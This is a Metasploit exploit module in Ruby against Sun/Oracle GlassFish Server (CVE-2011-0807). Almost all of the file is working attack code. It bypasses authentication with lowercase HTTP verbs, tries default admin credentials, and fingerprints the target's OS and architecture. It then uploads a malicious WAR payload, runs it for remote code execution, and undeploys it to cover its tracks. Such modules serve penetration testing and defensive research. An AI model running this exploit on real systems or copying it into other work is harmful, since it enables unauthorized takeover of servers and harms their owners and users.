##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
			'Description'    => %q{
					This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) 
				instance using a default credential, uploads, and executes commands via deploying
				a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
				this module will try to bypass authentication instead by sending lowercase HTTP verbs.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13485 $",
			'Author'         =>
				[
					#Msf module for Glassfish 3.0
					'juan vazquez',
					#Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
					'Joshua Abraham <jabra[at]rapid7.com>',
					#Rewrite for 3.0, 3.1 (Commercial or Open Source)
					'sinn3r',
				],
			'References'     =>
				[
					['CVE', '2011-0807'],
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[
						'Java Universal',
						{
							'Arch'     => ARCH_JAVA,
							'Platform' => 'java',
						},
					],
					#
					# platform specific targets only
					#
					[
						'Windows Universal',
						{
							'Arch'     => ARCH_X86,
							'Platform' => 'win',
						},
					],
					#
					# platform specific targets only
					#
					[
						'Linux Universal',
						{
							'Arch'     => ARCH_X86,
							'Platform' => 'linux',
						},
					],
				],
			'DisclosureDate' => "Aug 4 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(4848),
					OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
					OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
					OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
					OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
				], self.class)
	end

	#
	# Send GET or POST request, and return the response
	#
	def send_request(path, method, session='', data=nil, ctype=nil)

		headers = {}
		headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
		headers['Content-Type'] = ctype if ctype != nil
		headers['Content-Length'] = data.length if data != nil

		res = send_request_raw({
			'uri'     => path,
			'method'  => method,
			'data'    => data,
			'headers' => headers,
		}, 90)

		#'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
		return res
	end

	#
	# Return target
	#
	def auto_target(session, res, version)
		print_status("Attempting to automatically select a target...")

		res = query_serverinfo(session,version)
		return nil if not res
		return nil if not res.body

		plat = detect_platform(res.body)
		arch = detect_arch(res.body)
		
		# No arch or platform found?
		return nil if (not arch or not plat)

		# see if we have a match
		targets.each do |t|
			return t if (t['Platform'] == plat) and (t['Arch'] == arch)
		end

		# no matching target found
		return nil
	end

	#
	# Return platform (win, linux, or osx)
	#
	def detect_platform(body)
		body.each_line do |ln|
			ln.chomp!
			case ln
			when /os\.name = (.*)/
				os = $1
				case os
				when /Windows/
					return 'win'
				when /Linux/
					return 'linux'
				when /Mac OS X/
					return 'osx'
				end
			end
		end

		return 'java'
	end

	#
	# Return ARCH
	#
	def detect_arch(body)
		body.each_line do |ln|
			ln.chomp!
			case ln
			when /os\.arch = (.*)/
				ar = $1
				case ar
				when 'x86', 'i386', 'i686'
					return ARCH_X86
				when 'x86_64', 'amd64'
					return ARCH_X86
				end
			end
		end
	end

	#
	# Return server information
	#
	def query_serverinfo(session,version)
		res = ''

		if version == '2.x' or version == '9.x'
			path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
			res = send_request(path, @verbs['GET'], session)
		else
			path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
			res = send_request(path, @verbs['GET'], session)

			if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
				path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
				res = send_request(path, @verbs['GET'], session)
			end
		end

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		return res
	end

	#
	# Return viewstate and entry before deleting a GlassFish application
	#
	def get_delete_info(session, version, app='')
		if version == '2.x' or version == '9.x'
			path = '/applications/webApplications.jsf'
			res = send_request(path, @verbs['GET'], session)

			if (not res) or (res.code != 200)
				print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
				return nil
			end

			input_id = "javax.faces.ViewState"
			p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
			viewstate = res.body.scan(p)[0][0]

			entry = nil
			p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
			results = res.body.scan(p)

			results.each do |hit|
				if hit[1] =~ /^#{app}/
					entry = hit[0]
					entry << "col0:select"
				end
			end

		else
			path = '/common/applications/applications.jsf?bare=true'
			res = send_request(path, @verbs['GET'], session)

			if (not res) or (res.code != 200)
				print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
				return nil
			end

			input_id = "javax.faces.ViewState"
			p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
			viewstate = res.body.scan(p)[0][0]

			entry = nil
			p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
			results = res.body.scan(p)

			results.each do |hit|
				if hit[1] =~ /^#{app}/
					entry = hit[0]
					entry << "col0:select"
				end
			end
		end

		if (viewstate.nil?)
			print_error("Failed: Error getting ViewState")
			return nil
		elsif (entry.nil?)
			print_error("Failed: Error getting the entry to delete")
		end

		return viewstate, entry
	end

	#
	# Send an "undeploy" request to Glassfish and remove our backdoor
	#
	def undeploy(viewstate, session, entry)
		#Send undeployment request
		data  = [
		"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
		"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
		"&#{Rex::Text.uri_encode(entry)}=true",
		"&propertyForm%3AhelpKey=ref-applications.html",
		"&propertyForm_hidden=propertyForm_hidden",
		"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
		"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
		"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
		"&javax.faces.partial.execute=%40all",
		"&javax.faces.partial.render=%40all",
		"&bare=true",
		"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
		"&javax.faces.partial.ajax=true"
		].join()

		path  = '/common/applications/applications.jsf'
		ctype = 'application/x-www-form-urlencoded'

		res   = send_request(path, @verbs['POST'], session, data, ctype)
		if (not res)
			print_error("Undeployment failed on #{path} - No Response")
	 	else
			if res.code < 200 or res.code >= 300
				print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
			end
		end
	end

	#
	# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
	# banner (ex: Sun Java System Application Server 9.x)
	#
	def get_version(res)
		#Extract banner from response
		banner = res.headers['Server']

		#Default value for edition and glassfish version
		edition = 'Commercial'
		version = 'Unknown'

		#Set edition (Open Source or Commercial)
		p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
		edition = 'Open Source' if banner =~ p

		#Set version.  Some GlassFish servers return banner "GlassFish v3".
		if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
			version = $2
		elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
			version = $1
		elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
			version = '2.x'
		elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
			version = '9.x'
		end

		if version == nil or version == 'Unknown'
			print_status("Unsupported version: #{banner}")
		end

		return edition, version, banner
	end

	#
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
        data = ''

		data << boundary
		data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
		data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
		data << war
		data << "\r\n"

        return data
    end

	#
	# Return the formatted version of the POST data
	#
	def format(boundary,name,value=nil, war=nil)
		data = ''

		if war
			data << boundary
			data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
			data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
			data << war
			data << "\r\n"
		else
			data << boundary
			data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
			data << "\r\n\r\n"
			data << "#{value}\r\n"
		end

		return data
	end

	#
	# Return POST data and data length, based on GlassFish edition
	#
	def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
		data = ''

		if version == '3.0'

			uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
			uploadparam_data = "form:sheet1:section1:prop1:fileupload"

			boundary = "--#{boundary}"

			data = [
				format(boundary, app_base, nil, war),
				format(boundary, uploadParam_name, uploadparam_data),
				format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
				format(boundary, "form:sheet1:section1:prop1:action", "client"),
				format(boundary, typefield, "war"),
				format(boundary, "form:war:psection:cxp:ctx", app_base),
				format(boundary, "form:war:psection:nameProp:appName", app_base),
				format(boundary, "form:war:psection:vsProp:vs", ""),
				format(boundary, status_checkbox, "true"),
				format(boundary, "form:war:psection:librariesProp:library", ""),
				format(boundary, "form:war:psection:descriptionProp:description", ""),
				format(boundary, "form_hidden", "form_hidden"),
				format(boundary, "javax.faces.ViewState", viewstate),
				"#{boundary}--"
			].join()
		elsif version == '2.x' or version == '9.x'

			uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
			uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

			focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
			focusElementId_data = 'form:title:topButtons:uploadButton'

			boundary = "-----------------------------#{boundary}"

			data = [
				format_2_x_war(boundary, app_base, nil, war),
				format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
				format(boundary, "uploadRdBtn", "client"),
				format(boundary, uploadParam_name, uploadParam_data),
				format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
				format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
				format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
				format(boundary, "form:title:ps:psec:vsp:vs", ""),
				format(boundary, status_checkbox, "true"),
				format(boundary, "form:title:ps:psec:librariesProp:library", ""),
				format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
				format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
				format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
				format(boundary, "form:helpKey", "uploaddev.html"),
				format(boundary, "form_hidden", "form_hidden"),
				format(boundary, "javax.faces.ViewState", viewstate),
				format(boundary, focusElementId_name, focusElementId_data),
				"#{boundary}--"
			].join()
		else

			boundary = "-----------------------------#{boundary}"

			#Setup dynamic arguments
			num1 = start.to_i
			num2 = num1 + 14
			num3 = num2 + 2
			num4 = num3 + 2
			num5 = num4 + 2
			num6 = num5 + 2
			num7 = num6 + 1

			id0 = num4
			id1 = num4 + 1
			id2 = num4 + 2
			id3 = num4 + 3
			id4 = num4 + 4
			id5 = num4 + 5
			id6 = num4 + 6
			id7 = num4 + 7
			id8 = num4 + 8
			id9 = num4 + 9

			uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
			uploadParam_value = "form:sheet1:section1:prop1:fileupload"

			focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
			focusElementId_data = "form:title2:bottomButtons:uploadButton"

			data = [
				format(boundary,"uploadRdBtn","client"),
				## web service
				format(boundary, app_base, nil, war),
				## sheet1
				format(boundary, uploadParam_name, uploadParam_value),
				format(boundary,"form:sheet1:section1:prop1:extension",".war"),
				format(boundary,"form:sheet1:section1:prop1:action","client"),
				format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
				format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
				format(boundary,"form:appClient:psection:descriptionProp:description"),
				## war
				format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
				format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
				format(boundary,"form:war:psection:vsProp:vs"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
				format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
				format(boundary,"form:war:psection:librariesProp:library"),
				format(boundary,"form:war:psection:descriptionProp:description"),
				format(boundary,"form_hidden","form_hidden"),
				format(boundary,"javax.faces.ViewState","#{viewstate}"),
				format(boundary, focusElementId_name, focusElementId_data)
			].join()

			item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
			item_list_data = "|server|com.sun.webui.jsf.separator|"

			item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
			item_value_data = "server"

			data << format(boundary, item_list_name, item_list_data)
			data << format(boundary, item_value_name, item_value_data)
			data << "#{boundary}--"
			data << "\r\n\r\n"

		end

		return data
	end

	#
	# Upload our payload, and execute it.  This function will also try to automatically
	# clean up after itself.
	#
	def upload_exec(session, app_base, jsp_name, target, war, edition, version)
		if version == '2.x' or version == '9.x'
			path = "/applications/upload.jsf?appType=webApp"
			res = send_request(path, @verbs['GET'], session)

			#Obtain some properties
			begin
				p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
				p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
				viewstate       = res.body.scan(p1)[0][0]
				status_checkbox = res.body.scan(p2)[0][0]
				boundary        = rand_text_alphanumeric(28)
			rescue
				print_error("Unable to gather required data for file upload")
				return
			end
		else
			path = "/common/applications/uploadFrame.jsf"
			res = send_request(path, @verbs['GET'], session)

			#Obtain some properties
			begin
				#start is only for dynamic arguments in POST data
				res.body =~ /propertySheetSection(\d{3})/
				start = $1
				p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
				p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
				p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

				rnd_text = rand_text_alphanumeric(29)

				viewstate       = res.body.scan(p1)[0][0]
				typefield       = res.body.scan(p2)[0][0]
				status_checkbox = res.body.scan(p3)[0][0]
				boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
			rescue
				print_error("Unable to gather required data for file upload")
				return
			end
		end

		#Get upload data
		if version == '3.0'
			ctype = "multipart/form-data; boundary=#{boundary}"
		elsif version == '2.x' or version == '9.x'
			ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
            typefield = ''
            start = ''
		else
			ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
		end

		post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)

		#Upload our payload
		if version == '2.x' or version == '9.x'
			path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
		else
			path  = '/common/applications/uploadFrame.jsf?'
			path << 'form:title:topButtons:uploadButton=Processing...'
			path << '&bare=false'
		end
		res  = send_request(path, @verbs['POST'], session, post_data, ctype)

		#Print upload result
		if res and res.code == 302
			print_status("Successfully uploaded")
		else
			print_error("Error uploading #{res.code}")
			return
		end

		#Execute our payload using the application interface (no need to use auth bypass technique)
		jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
		nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			}
		)

		print_status("Executing #{jsp_path}...")
		req = nclient.request_raw({
			'uri'     => jsp_path,
			'method'  => 'GET',
		})

		if (req)
			res = nclient.send_recv(req, 90)
		else
			print_status("Error: #{rhost} did not respond on #{app_rport}.")
		end

		#Sleep for a bit before cleanup
		select(nil, nil, nil, 5)

		#Start undeploying
		print_status("Getting information to undeploy...")
		viewstate, entry = get_delete_info(session, version, app_base)
		if (not viewstate)
			raise RuntimeError, "Unable to get viewstate"
		elsif (not entry)
			raise RuntimeError, "Unable to get entry"
		end

		print_status("Undeploying #{app_base}...")
		undeploy(viewstate, session, entry)

		print_status("Undeployment complete.")
	end

	#
	# Try to login to Glassfish with a credential, and return the response
	#
	def try_login(user, pass)
		data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
		data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
		data << "loginButton=Login"

		path = '/j_security_check'
		res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')

		return res
	end

	def log_success(user,pass)
		print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
		report_auth_info(
			:host   => rhost,
			:port   => rport,
			:sname  => 'http',
			:user   => user,
			:pass   => pass,
			:proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
			:active => true
		)
	end

	def try_default_glassfish_login(version)
		success = false
		session = ''
		res = ''
		if version == '2.x' or version == '9.x'
			user = 'admin'
			pass = 'adminadmin'

			print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
			res = try_login(user,pass)
			if res and res.code == 302
				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
				res = send_request('/applications/upload.jsf', 'GET', session)

				p = /<title>Deploy Enterprise Applications\/Modules/
				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
					success = true
				end
			end

		else
			user = 'admin'
			pass = ''

			print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
			res = try_login(user,pass)
			if res and res.code == 302
				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
				res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)

				p = /<title>Deploy Applications or Modules/
				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
					success = true
				end
            end
		end

		if success == true
			log_success(user,pass)
		else
			msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
			print_error(msg)
		end

		return success, res, session
	end

	def try_nondefault_glassfish_login(version,user,pass)

		print_status("Trying credential #{user}:'#{pass}'....")
		success = false
		session = ''

		res = try_login(user, pass)
		if version == '2.x' or version == '9.x'
			if res and res.code == 302
				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
				res = send_request('/applications/upload.jsf', 'GET', session)

				p = /<title>Deploy Enterprise Applications\/Modules/
				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
					success = true
                end
            end
		else
			if res and res.code == 302
				session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
				res = send_request('/common/index.jsf', 'GET', session)

				p = /<title>Deploy Applications or Modules/
				if (res and res.code.to_i == 200 and res.body.match(p) != nil)
					success = true
				end
			end
		end

		if success == true
			log_success(user,pass)
		else
			msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
			print_error(msg)
		end

		return success, res, session
	end


	def try_glassfish_auth_bypass(version)
		print_status("Trying GlassFish authentication bypass..")
		success = false

		if version == '2.x' or version == '9.x'
			res = send_request('/applications/upload.jsf', 'get')
			p = /<title>Deploy Enterprise Applications\/Modules/
			if (res and res.code.to_i == 200 and res.body.match(p) != nil)
				success = true
			end
		else
			# 3.0
			res = send_request('/common/applications/uploadFrame.jsf', 'get')
			p = /<title>Deploy Applications or Modules/
			if (res and res.code.to_i == 200 and res.body.match(p) != nil)
				success = true
			end
		end

		if success == true
			print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
			report_auth_info(
				:host   => rhost,
				:port   => rport,
				:sname  => 'http',
				:user   => '',
				:pass   => '',
				:proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
				:active => true
			)
		else
			print_error("#{target_host()} - GlassFish - Failed authentication bypass")
		end

		return success
	end

	def target_host
		path        = datastore['PATH']
		target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
	end

	def exploit
		user        = datastore['USERNAME']
		pass        = datastore['PASSWORD']
		path        = datastore['PATH']
		target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
		success     = false
		session     = ''
		edition     = ''
		version     = ''

		#Invoke index to gather some info
		res = send_request('/common/index.jsf', 'GET')

		if res.code == 302
			res = send_request('/login.jsf', 'GET')
		end

		#Get GlassFish version
		edition, version, banner = get_version(res)
		print_status("Glassfish edition: #{banner}")

		#Get session
		res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
		session = $1

		#Set HTTP verbs.  lower-case is used to bypass auth on v3.0
		@verbs = {
			'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
			'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
		}
		
		#auth bypass
		if version == '3.0' or version == '2.x' or version == '9.x'
			success = try_glassfish_auth_bypass(version)
		end

		#BUG caused us to skip default cred checks on sun applicaiton server 9.x 
		if success == false and version != '9.x'
			#default credentials
			success,res,session_login = try_default_glassfish_login(version)
			if success == false
				if (
					( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )  or 
					( (version =~ /^3\./) and (user != 'admin' and pass != '') )
				)
					#non-default login
					success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
				end
			end
		end

		#Start attacking
		if success
			session = session_login if (session_login =~ /\w+/)
			#Set target
			mytarget = target
			mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
			raise RunTimeError, "Unable to automatically select a target" if (not mytarget)

			#Generate payload
			p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

			jsp_name = rand_text_alphanumeric(4+rand(32-4))
			app_base = rand_text_alphanumeric(4+rand(32-4))

			war = p.encoded_war({
				:app_name    => app_base,
				:jsp_name    => jsp_name,
				:arch        => mytarget.arch,
				:platform    => mytarget.platform
			}).to_s

			#Upload, execute, cleanup, winning
			print_status("Uploading payload...")
			res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
		else
			print_error("#{target_host()} - GlassFish - Failed to authenticate login")
		end

	end
end
